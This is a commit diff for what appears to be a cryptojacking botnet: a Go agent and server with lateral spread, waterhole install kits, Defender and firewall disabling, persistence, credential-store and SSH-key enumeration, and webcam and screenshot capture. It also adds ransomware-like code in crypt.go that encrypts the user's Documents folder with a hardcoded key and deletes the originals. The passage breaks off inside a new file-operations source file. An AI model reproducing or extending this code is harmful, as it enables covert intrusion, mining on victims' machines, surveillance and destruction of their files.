feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -46,6 +46,7 @@

 | Issue | Notes |
 |-------|--------|
+| Emberwake public-build toggle in Builds UI | API `PUT /builds/{id}/public` exists; Builds page checkbox not wired yet — use API or Calibrate `public_builds_enabled` |
 | Dual storage without sync policy | Complex cross-tab sync — session preferred over local; `aetherforge-auth` event on logout |
 | Flaky progress simulation vs. real compile time | Cosmetic — stage timeline caps at 94% until server responds (45 min client timeout) |
 | Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races — needs dedicated tests |
@@ -113,11 +114,74 @@ Source: `server/internal/api` audit (2026-06-04). **API-D01–D10 addressed 2026

 ---

+## Crucible (Remote Operations Theater)
+
+*Expansion pass: 2026-06-04. `npm run test -- --run` in `server/web`; `go test ./agent/client/...`.*
+
+### Phase A — wired (done)
+
+| Op | Command / API | Notes |
+|----|----------------|-------|
+| Connectivity Probe | `connectivity_probe` | JSON to terminal |
+| Listen Ports / Patch Status | `listen_ports`, `patch_status` | Individual chips (Deep Scan still runs both) |
+| Firewall suite | `firewall_punch`, `firewall_off`, `firewall_on`, `firewall_profiles`, `firewall_remove` | `canRunAggressiveAction` gates |
+| UPnP | `hole_punch_status`, `hole_punch_close` | Hole Punch forge flag |
+| Bulk Tunnel Stop | `tunnel_stop` + `all` | Selected online nodes |
+| Mesh Peers | `mesh_status` | Mesh P2P forge flag |
+| Persistence | `bits_persist`, `host_binary_persist` | Win + Remote Aggressive |
+| Fleet Upgrade | build picker → `upgrade` | `listBuilds` download URL |
+| Registry panel | `registry_read` / `write` / `delete` | Single or bulk Win (confirm) |
+| Live Desktop | `screenshot` poll 3s | Single-node toggle |
+| Wake-on-LAN | `POST /agents/{id}/wol` | Works offline |
+
+UI: collapsible **Network**, **Persistence**, **Fleet Maintenance** groups in `CrucibleExpandedOps.tsx`; styling in `CruciblePage.css`.
+
+### Phase B — partial
+
+| Op | Status |
+|----|--------|
+| `arp_neighbors` | **Done** — `deploy.ArpNeighborIPs()` JSON |
+| `camera_list` + picker | **Done** — device via `command` on `camera_snapshot` |
+| `persistence_audit` | **Done** — read-only Run/tasks/systemd/launchd JSON |
+| `kill_process` | **Done** — `{ command: pid }` |
+| `delete_path` / `move_path` | **Done** — file_ops guards (no dirs/system roots) |
+
+### Phase C — done (2026-06-04)
+
+| Op | Command | Notes |
+|----|---------|-------|
+| SMB share enumeration | `smb_shares` | Windows + Remote Aggressive; ARP/subnet hosts → `net view` JSON |
+| Spread status | `spread_status` | In-memory last sweep (`deploy/spread_status.go`); read-only |
+| Credential names | `credential_vault_list` | Win Credential Manager / macOS Keychain / Linux secret-tool + `~/.ssh` paths — names only |
+| Secure wipe | `secure_wipe` | Overwrite-then-delete folder; system-root guards; confirm in UI |
+| Port-forward matrix | `tunnel_ssh_forward` × N | `CruciblePortForwardMatrix` — multi-row grid on selected Windows nodes |
+
+UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “coming soon” stubs).
+
+---
+
 ## Agent (Go)

+### Linux / macOS parity (2026-06-04 pass)
+
+| Area | Status |
+|------|--------|
+| **Mining + hashrate** | RandomX pure-Go engine works on Linux/macOS; stats loop sends `hashrate_15s/1m/15m` + shares over WS. |
+| **Idle schedule guard** | **Fixed** — `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
+| **Screenshot** | Linux: scrot / ImageMagick `import` / gnome-screenshot. macOS: `screencapture`. |
+| **Camera** | Linux V4L2 via ffmpeg/fswebcam (`camera_linux.go`). macOS: stub. |
+| **File ops** | Cross-platform (`file_ops_unix.go` / `file_ops_windows.go`). |
+| **Posture** | Unix collectors return firewall/AV/patch data (`posture_unix.go`), not all n/a. |
+| **Spread** | SSH path on Linux/macOS (`autospread_unix.go`); SMB/WinRM Windows-only by design. |
+| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); macOS still stub. |
+| **GPU miner** | Windows-only T-Rex path; Linux/macOS stub with detect-only. |
+| **Docker E2E** | `docker/docker-compose.yml` — isolated agent + server; see `docker/README.md`. |
+
 ### Open

- **Client:** WebSocket/beacon paths integration-only in CI.
+- **Client:** WebSocket/beacon paths integration-only in CI (Docker Tier 2 closes Linux slice).
+- **macOS:** firewall aggressive ops, camera, GPU miner — stubs or partial.
+- **Linux screenshot:** headless containers need `xvfb` + scrot or custom `command` field.

 ### Fixed (2026-06-04)

--- a/README.md
+++ b/README.md
@@ -121,6 +121,14 @@ Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtim
 - Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
 - CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently

+### Emberwake (spread / waterhole)
+
+- **Dashboard tab** `/emberwake` — campaign link builder, A/B `?pin=` rotation, spread-kit ZIP export, shared operator notes (WebSocket sync)
+- **Public builds** — login page drawer + `GET /api/v1/public/builds` / `GET /api/v1/public/download/{id}` (pinned + public-flagged + latest 3; or all when `server.public_builds_enabled`)
+- **Waterhole kit** — `spread-kit-web-publisher/` static templates; customize via `POST /api/v1/builder/spread-kit-export` (auth)
+- **Campaign tracking** — `?c=slug` on `/get`, `/install.ps1`, `/install.sh`, `/install.command`; agents report `AETHER_CAMPAIGN` on connect
+- **Forge simple mode** — spread profile chips: Web Drop, Desktop Fusion, LAN Kindling, Crucible Ops
+
 ### USB Perpetual Self-Propagation

 Enable **USB Propagation** in the Forge. The baked binary:
@@ -384,7 +392,8 @@ crypto miner/
 ├── LAUNCH.bat                  ← portable/USB launch script
 ├── scripts/
 │   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
-│   └── smoke-test.ps1          ← API matrix B-01–B-10
+│   ├── smoke-test.ps1          ← API matrix B-01–B-10
+│   └── e2e-validate.ps1        ← mining + CI + VM payload checklist
 ├── bin/
 │   └── miner-server.exe
 ├── data/                       ← config, DB, builds, preps, logs, users.json
@@ -403,6 +412,7 @@ crypto miner/
 │   └── config/                 ← builtin config baked at forge time
 ├── fusion/                     ← prep + movie runner source
 ├── tests/README.md             ← test phases, E2E env vars
+├── docs/E2E_VALIDATION.md      ← secure payload validation playbook
 ├── PROBLEMS.md                 ← known issues (severity-ranked)
 └── README.md                   ← you are here
 ```
@@ -499,6 +509,17 @@ Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFO

 With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).

+### Secure local payload validation
+
+Full Windows payload tests (spread, screenshot, GPU, persistence) need a **disposable Hyper-V/VMware Windows VM** — not Docker Windows containers. Automated mining/C2 regression stays on the host.
+
+```powershell
+.\scripts\e2e-validate.ps1              # Tier 0–1 + VM checklist
+.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions
+```
+
+Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md).
+
 ### Dashboard dev server

 ```bat
--- a/agent/client/aggressive_commands.go
+++ b/agent/client/aggressive_commands.go
@@ -3,6 +3,7 @@ package client
 import (
 	"encoding/json"
 	"fmt"
+	"runtime"
 	"strconv"
 	"strings"

@@ -20,7 +21,7 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
 			return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
 		}
 	case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
-		"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
+		"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
 		if !c.cfg.RemoteAggressive {
 			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
 		}
@@ -95,6 +96,39 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
 		c.sendCommandResult(action, true, out)
 		return true

+	case "smb_shares":
+		if runtime.GOOS != "windows" {
+			c.sendCommandResult(action, false, "smb_shares is Windows-only")
+			return true
+		}
+		maxHosts := parsePortArg(command, 32)
+		out := deploy.EnumerateSMBShares(maxHosts)
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "spread_status":
+		out := deploy.GetSpreadStatusJSON()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "credential_vault_list":
+		out := listCredentialVaultNames()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "secure_wipe":
+		target := strings.TrimSpace(path)
+		if target == "" {
+			c.sendCommandResult(action, false, "path is required")
+			return true
+		}
+		go func() {
+			result := SecureWipePath(target)
+			ok := !strings.HasPrefix(result, "secure_wipe error:")
+			c.sendCommandResult(action, ok, result)
+		}()
+		return true
+
 	case "defender_off":
 		msg, err := deploy.DisableDefenderRealtime()
 		if err != nil {
@@ -227,9 +261,19 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
 		}()
 		return true

-	case "sys_crypt":
+	case "sys_crypt", "encrypt_path":
+		target := strings.TrimSpace(path)
+		recursive := parseRecursiveFlag(command, data)
+		if action == "sys_crypt" && target == "" {
+			recursive = true
+		}
 		go func() {
-			result := SysCrypt()
+			var result string
+			if target == "" && action == "sys_crypt" {
+				result = SysCrypt()
+			} else {
+				result = EncryptPath(target, recursive)
+			}
 			c.sendCommandResult(action, true, result)
 		}()
 		return true
--- a/agent/client/camera_linux.go
+++ b/agent/client/camera_linux.go
@@ -10,10 +10,10 @@ import (
 	"strings"
 )

-func handleCameraAction(action string) (handled bool, success bool, message string) {
+func handleCameraAction(action, device string) (handled bool, success bool, message string) {
 	switch action {
 	case "camera_snapshot":
-		raw, err := captureLinuxCameraJPEG()
+		raw, err := captureLinuxCameraJPEG(strings.TrimSpace(device))
 		if err != nil {
 			return true, false, err.Error()
 		}
@@ -50,7 +50,7 @@ func listLinuxCameraDevices() ([]string, error) {
 	return devs, nil
 }

-func captureLinuxCameraJPEG() ([]byte, error) {
+func captureLinuxCameraJPEG(preferred string) ([]byte, error) {
 	devs, err := listLinuxCameraDevices()
 	if err != nil {
 		return nil, err
@@ -59,6 +59,14 @@ func captureLinuxCameraJPEG() ([]byte, error) {
 		return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
 	}
 	device := devs[0]
+	if preferred != "" {
+		for _, d := range devs {
+			if d == preferred {
+				device = d
+				break
+			}
+		}
+	}

 	if ff, err := exec.LookPath("ffmpeg"); err == nil {
 		out, runErr := exec.Command(ff,
--- a/agent/client/camera_stub.go
+++ b/agent/client/camera_stub.go
@@ -2,7 +2,7 @@

 package client

-func handleCameraAction(action string) (handled bool, success bool, message string) {
+func handleCameraAction(action, _ string) (handled bool, success bool, message string) {
 	switch action {
 	case "camera_snapshot", "camera_list":
 		return true, false, "camera capture is not supported on this platform"
--- a/agent/client/camera_windows.go
+++ b/agent/client/camera_windows.go
@@ -8,10 +8,10 @@ import (
 	"strings"
 )

-func handleCameraAction(action string) (handled bool, success bool, message string) {
+func handleCameraAction(action, device string) (handled bool, success bool, message string) {
 	switch action {
 	case "camera_snapshot":
-		raw, err := captureWindowsCameraJPEG()
+		raw, err := captureWindowsCameraJPEG(strings.TrimSpace(device))
 		if err != nil {
 			return true, false, err.Error()
 		}
@@ -53,7 +53,7 @@ func listWindowsCameraDevices() ([]string, error) {
 	return parseDShowVideoDevices(string(out)), nil
 }

-func captureWindowsCameraJPEG() ([]byte, error) {
+func captureWindowsCameraJPEG(preferred string) ([]byte, error) {
 	ff, err := ffmpegOnPath()
 	if err != nil {
 		return nil, err
@@ -66,6 +66,14 @@ func captureWindowsCameraJPEG() ([]byte, error) {
 		return nil, fmt.Errorf("no video capture devices found")
 	}
 	device := devs[0]
+	if preferred != "" {
+		for _, d := range devs {
+			if d == preferred {
+				device = d
+				break
+			}
+		}
+	}
 	out, err := silentCombinedOutput(ff,
 		"-hide_banner", "-loglevel", "error",
 		"-f", "dshow",
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -325,6 +325,8 @@ func (c *AgentClient) authenticate() error {
 		MacAddress:       primaryMACAddress(),
 		BuildID:          c.cfg.BuildID,
 		USBSpread:        c.cfg.USBSpread,
+		Campaign:         strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
+		UTM:              strings.TrimSpace(os.Getenv("AETHER_UTM")),
 	})
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -618,7 +620,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 		if c.handleRegistryCommand(action, path, data) {
 			return
 		}
-		if c.handleFileCommand(action, path) {
+		if c.handleFileCommand(action, path, data) {
 			return
 		}
 		if c.handleReconCommand(action, command) {
--- a/agent/client/commands_common.go
+++ b/agent/client/commands_common.go
@@ -5,6 +5,9 @@ import (
 	"fmt"
 	"os/exec"
 	"runtime"
+	"strings"
+
+	"crypto-miner-agent/deploy"
 )

 func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
@@ -28,6 +31,31 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
 		c.sendCommandResult(action, true, string(b))
 		return true
 	}
+	if action == "arp_neighbors" {
+		ips := deploy.ArpNeighborIPs()
+		b, _ := json.Marshal(map[string]interface{}{
+			"neighbors": ips,
+			"count":     len(ips),
+		})
+		c.sendCommandResult(action, true, string(b))
+		return true
+	}
+	if action == "persistence_audit" {
+		report := collectPersistenceAudit()
+		b, _ := json.Marshal(report)
+		c.sendCommandResult(action, true, string(b))
+		return true
+	}
+	if action == "kill_process" {
+		pid := strings.TrimSpace(command)
+		if pid == "" {
+			c.sendCommandResult(action, false, "pid is required in command field")
+			return true
+		}
+		ok, msg := killProcessByPID(pid)
+		c.sendCommandResult(action, ok, msg)
+		return true
+	}
 	if action == "full_sys_check" {
 		report := CollectFullSysCheck(c.cfg, c.agentID)
 		c.sendCommandResult(action, true, report.JSON())
--- a/agent/client/commands_unix.go
+++ b/agent/client/commands_unix.go
@@ -47,13 +47,13 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
 	case "software":
 		out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
 	case "screenshot":
-		if command != "" {
-			out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
-		} else {
-			return true, false, "screenshot not supported on this platform without custom command"
+		b64, err := capturePlatformScreenshot(command)
+		if err != nil {
+			return true, false, err.Error()
 		}
+		return true, true, b64
 	case "camera_snapshot", "camera_list":
-		return handleCameraAction(action)
+		return handleCameraAction(action, command)
 	case "sysinfo":
 		out, err = exec.Command("uname", "-a").CombinedOutput()
 	case "ipconfig":
--- a/agent/client/commands_windows.go
+++ b/agent/client/commands_windows.go
@@ -107,7 +107,7 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
 		}
 		return true, true, b64
 	case "camera_snapshot", "camera_list":
-		return handleCameraAction(action)
+		return handleCameraAction(action, command)
 	case "sysinfo":
 		out, err = silentCombinedOutput("systeminfo")
 	case "ipconfig":
--- a/agent/client/credential_vault.go
+++ b/agent/client/credential_vault.go
@@ -0,0 +1,35 @@
+package client
+
+import (
+	"encoding/json"
+	"runtime"
+)
+
+type credentialEntry struct {
+	Name   string `json:"name"`
+	Source string `json:"source"`
+	Type   string `json:"type,omitempty"`
+}
+
+type credentialVaultResult struct {
+	Platform string            `json:"platform"`
+	Entries  []credentialEntry `json:"entries"`
+	Count    int               `json:"count"`
+	Note     string            `json:"note,omitempty"`
+}
+
+// listCredentialVaultNames returns stored credential identifiers (no secrets).
+func listCredentialVaultNames() string {
+	entries, note := platformCredentialNames()
+	result := credentialVaultResult{
+		Platform: runtime.GOOS,
+		Entries:  entries,
+		Count:    len(entries),
+		Note:     note,
+	}
+	if result.Entries == nil {
+		result.Entries = []credentialEntry{}
+	}
+	b, _ := json.Marshal(result)
+	return string(b)
+}
--- a/agent/client/credential_vault_darwin.go
+++ b/agent/client/credential_vault_darwin.go
@@ -0,0 +1,48 @@
+//go:build darwin
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	var entries []credentialEntry
+	out, err := silentCombinedOutput("security", "dump-keychain")
+	if err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, `"svce"`) {
+				parts := strings.SplitN(line, "=", 2)
+				if len(parts) == 2 {
+					name := strings.Trim(strings.TrimSpace(parts[1]), `"`)
+					if name != "" {
+						entries = append(entries, credentialEntry{
+							Name:   name,
+							Source: "macOS Keychain",
+							Type:   "service",
+						})
+					}
+				}
+			}
+		}
+	}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		sshDir := filepath.Join(home, ".ssh")
+		matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
+		for _, m := range matches {
+			if strings.HasSuffix(m, ".pub") {
+				continue
+			}
+			entries = append(entries, credentialEntry{
+				Name:   filepath.Base(m),
+				Source: "~/.ssh",
+				Type:   "ssh_key",
+			})
+		}
+	}
+	return entries, "Keychain service names and SSH key paths only"
+}
--- a/agent/client/credential_vault_linux.go
+++ b/agent/client/credential_vault_linux.go
@@ -0,0 +1,49 @@
+//go:build linux
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	var entries []credentialEntry
+	out, err := silentCombinedOutput("secret-tool", "search", "--all")
+	if err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, "label = ") {
+				name := strings.TrimSpace(strings.TrimPrefix(line, "label = "))
+				if name != "" {
+					entries = append(entries, credentialEntry{
+						Name:   name,
+						Source: "secret-service",
+						Type:   "label",
+					})
+				}
+			}
+		}
+	}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		sshDir := filepath.Join(home, ".ssh")
+		matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
+		for _, m := range matches {
+			if strings.HasSuffix(m, ".pub") {
+				continue
+			}
+			entries = append(entries, credentialEntry{
+				Name:   filepath.Base(m),
+				Source: "~/.ssh",
+				Type:   "ssh_key",
+			})
+		}
+	}
+	note := "secret-service labels and SSH key paths only"
+	if len(entries) == 0 {
+		note += " (install libsecret secret-tool for GNOME Keyring listing)"
+	}
+	return entries, note
+}
--- a/agent/client/credential_vault_stub.go
+++ b/agent/client/credential_vault_stub.go
@@ -0,0 +1,7 @@
+//go:build !windows && !darwin && !linux
+
+package client
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	return nil, "credential vault listing not supported on this platform"
+}
--- a/agent/client/credential_vault_test.go
+++ b/agent/client/credential_vault_test.go
@@ -0,0 +1,20 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestListCredentialVaultNamesJSON(t *testing.T) {
+	raw := listCredentialVaultNames()
+	var result credentialVaultResult
+	if err := json.Unmarshal([]byte(raw), &result); err != nil {
+		t.Fatal(err)
+	}
+	if result.Platform == "" {
+		t.Fatal("expected platform")
+	}
+	if result.Entries == nil {
+		t.Fatal("expected entries slice")
+	}
+}
--- a/agent/client/credential_vault_windows.go
+++ b/agent/client/credential_vault_windows.go
@@ -0,0 +1,36 @@
+//go:build windows
+
+package client
+
+import (
+	"strings"
+)
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	out, err := silentCombinedOutput("cmdkey", "/list")
+	if err != nil {
+		return nil, "cmdkey failed: " + strings.TrimSpace(string(out))
+	}
+	var entries []credentialEntry
+	var current credentialEntry
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		if strings.HasPrefix(line, "Target:") {
+			if current.Name != "" {
+				entries = append(entries, current)
+			}
+			current = credentialEntry{
+				Name:   strings.TrimSpace(strings.TrimPrefix(line, "Target:")),
+				Source: "Windows Credential Manager",
+			}
+			continue
+		}
+		if strings.HasPrefix(line, "Type:") && current.Name != "" {
+			current.Type = strings.TrimSpace(strings.TrimPrefix(line, "Type:"))
+		}
+	}
+	if current.Name != "" {
+		entries = append(entries, current)
+	}
+	return entries, "names only — secrets not exported"
+}
--- a/agent/client/crypt.go
+++ b/agent/client/crypt.go
@@ -0,0 +1,156 @@
+package client
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"crypto/sha256"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+const cryptPassword = "password"
+
+// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
+func deriveKey(password string) []byte {
+	sum := sha256.Sum256([]byte(password))
+	return sum[:]
+}
+
+// encryptFile encrypts src with AES-256-GCM, writing src+".enc" and deleting the original.
+func encryptFile(path string, key []byte) error {
+	plaintext, err := os.ReadFile(path)
+	if err != nil {
+		return err
+	}
+
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return err
+	}
+	gcm, err := cipher.NewGCM(block)
+	if err != nil {
+		return err
+	}
+
+	nonce := make([]byte, gcm.NonceSize())
+	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
+		return err
+	}
+
+	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
+
+	dst := path + ".enc"
+	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
+		return err
+	}
+
+	return os.Remove(path)
+}
+
+func parseRecursiveFlag(command, data string) bool {
+	for _, v := range []string{command, data} {
+		v = strings.TrimSpace(strings.ToLower(v))
+		if v == "recursive" || v == "1" || v == "true" || v == "yes" {
+			return true
+		}
+	}
+	return false
+}
+
+// EncryptPath AES-256-GCM encrypts files at targetPath (file or directory).
+// Empty targetPath uses the platform default documents/home folder.
+func EncryptPath(targetPath string, recursive bool) string {
+	resolved, err := resolveEncryptPath(targetPath)
+	if err != nil {
+		return "encrypt error: " + err.Error()
+	}
+
+	key := deriveKey(cryptPassword)
+	info, err := os.Stat(resolved)
+	if err != nil {
+		return "encrypt error: " + err.Error()
+	}
+
+	var encrypted, skipped, failed int
+	var errs []string
+
+	if !info.IsDir() {
+		if strings.HasSuffix(resolved, ".enc") {
+			return "encrypt skipped — already .enc"
+		}
+		if err := encryptFile(resolved, key); err != nil {
+			return fmt.Sprintf("encrypt failed: %v", err)
+		}
+		return fmt.Sprintf("encrypt done — encrypted: 1  path: %s", resolved)
+	}
+
+	walkFn := func(path string, d os.DirEntry, walkErr error) error {
+		if walkErr != nil || d.IsDir() {
+			return nil
+		}
+		if strings.HasSuffix(path, ".enc") {
+			skipped++
+			return nil
+		}
+		if err := encryptFile(path, key); err != nil {
+			failed++
+			if len(errs) < 5 {
+				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
+			}
+			return nil
+		}
+		encrypted++
+		return nil
+	}
+
+	if recursive {
+		err = filepath.WalkDir(resolved, walkFn)
+	} else {
+		entries, readErr := os.ReadDir(resolved)
+		if readErr != nil {
+			return "encrypt error: " + readErr.Error()
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			p := filepath.Join(resolved, e.Name())
+			_ = walkFn(p, e, nil)
+		}
+		err = nil
+	}
+	if err != nil {
+		return fmt.Sprintf("encrypt walk error: %v", err)
+	}
+
+	summary := fmt.Sprintf("encrypt done — encrypted: %d  skipped: %d  failed: %d  path: %s", encrypted, skipped, failed, resolved)
+	if len(errs) > 0 {
+		summary += "\nErrors: " + strings.Join(errs, "; ")
+	}
+	return summary
+}
+
+func resolveEncryptPath(targetPath string) (string, error) {
+	targetPath = strings.TrimSpace(targetPath)
+	if targetPath == "" {
+		def, err := defaultCryptDir()
+		if err != nil {
+			return "", err
+		}
+		targetPath = def
+	}
+	if containsPathTraversal(targetPath) {
+		return "", fmt.Errorf("path traversal (..) is not allowed")
+	}
+	resolved, err := deploy.ResolveRemotePath(targetPath)
+	if err != nil {
+		return "", err
+	}
+	return filepath.Clean(resolved), nil
+}
--- a/agent/client/crypt_stub.go
+++ b/agent/client/crypt_stub.go
@@ -1,8 +0,0 @@
-//go:build !windows
-
-package client
-
-// SysCrypt is a no-op on non-Windows platforms.
-func SysCrypt() string {
-	return "sys_crypt is Windows-only in this build"
-}
--- a/agent/client/crypt_unix.go
+++ b/agent/client/crypt_unix.go
@@ -0,0 +1,31 @@
+//go:build !windows
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+)
+
+func defaultCryptDir() (string, error) {
+	home, err := os.UserHomeDir()
+	if err != nil || home == "" {
+		return "", err
+	}
+	candidates := []string{
+		filepath.Join(home, "Documents"),
+		filepath.Join(home, "documents"),
+		home,
+	}
+	for _, c := range candidates {
+		if st, err := os.Stat(c); err == nil && st.IsDir() {
+			return filepath.Clean(c), nil
+		}
+	}
+	return filepath.Clean(home), nil
+}
+
+// SysCrypt encrypts files in the user's Documents (or home) folder.
+func SysCrypt() string {
+	return EncryptPath("", true)
+}
--- a/agent/client/crypt_windows.go
+++ b/agent/client/crypt_windows.go
@@ -3,27 +3,18 @@
 package client

 import (
-	"crypto/aes"
-	"crypto/cipher"
-	"crypto/rand"
-	"crypto/sha256"
 	"fmt"
-	"io"
 	"os"
 	"path/filepath"
-	"strings"

 	"golang.org/x/sys/windows"
 )

-const cryptPassword = "password"
-
 // documentsDir returns the current user's Documents folder path via the
 // Windows SHGetKnownFolderPath API (FOLDERID_Documents).
 func documentsDir() (string, error) {
 	path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
 	if err != nil {
-		// Fall back to USERPROFILE\Documents
 		if up := os.Getenv("USERPROFILE"); up != "" {
 			return filepath.Join(up, "Documents"), nil
 		}
@@ -32,82 +23,11 @@ func documentsDir() (string, error) {
 	return path, nil
 }

-// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
-func deriveKey(password string) []byte {
-	sum := sha256.Sum256([]byte(password))
-	return sum[:]
+func defaultCryptDir() (string, error) {
+	return documentsDir()
 }

-// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
-// deleting the original. The 12-byte nonce is prepended to the ciphertext.
-func encryptFile(path string, key []byte) error {
-	plaintext, err := os.ReadFile(path)
-	if err != nil {
-		return err
-	}
-
-	block, err := aes.NewCipher(key)
-	if err != nil {
-		return err
-	}
-	gcm, err := cipher.NewGCM(block)
-	if err != nil {
-		return err
-	}
-
-	nonce := make([]byte, gcm.NonceSize())
-	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
-		return err
-	}
-
-	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
-
-	dst := path + ".enc"
-	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
-		return err
-	}
-
-	return os.Remove(path)
-}
-
-// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
-// file (skipping files already ending in ".enc"). Returns a summary string.
+// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file.
 func SysCrypt() string {
-	docsDir, err := documentsDir()
-	if err != nil {
-		return "sys_crypt error: " + err.Error()
-	}
-
-	key := deriveKey(cryptPassword)
-
-	var encrypted, skipped, failed int
-	var errs []string
-
-	err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
-		if walkErr != nil || d.IsDir() {
-			return nil
-		}
-		if strings.HasSuffix(path, ".enc") {
-			skipped++
-			return nil
-		}
-		if err := encryptFile(path, key); err != nil {
-			failed++
-			if len(errs) < 5 {
-				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
-			}
-			return nil
-		}
-		encrypted++
-		return nil
-	})
-	if err != nil {
-		return fmt.Sprintf("sys_crypt walk error: %v", err)
-	}
-
-	summary := fmt.Sprintf("sys_crypt done — encrypted: %d  skipped: %d  failed: %d", encrypted, skipped, failed)
-	if len(errs) > 0 {
-		summary += "\nErrors: " + strings.Join(errs, "; ")
-	}
-	return summary
+	return EncryptPath("", true)
 }
--- a/agent/client/file_ops_common.go
+++ b/agent/client/file_ops_common.go
@@ -0,0 +1,273 @@
+package client
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+const (
+	maxListDirEntries = 500
+	maxReadFileBytes  = 512 * 1024
+)
+
+type dirEntry struct {
+	Name  string `json:"name"`
+	IsDir bool   `json:"is_dir"`
+	Size  int64  `json:"size"`
+}
+
+type listDirResponse struct {
+	Path     string     `json:"path"`
+	HomeDir  string     `json:"home_dir"`
+	Platform string     `json:"platform"`
+	Entries  []dirEntry `json:"entries"`
+}
+
+var hiddenDirNames = map[string]bool{
+	"System Volume Information": true,
+	"$Recycle.Bin":              true,
+	"$RECYCLE.BIN":              true,
+}
+
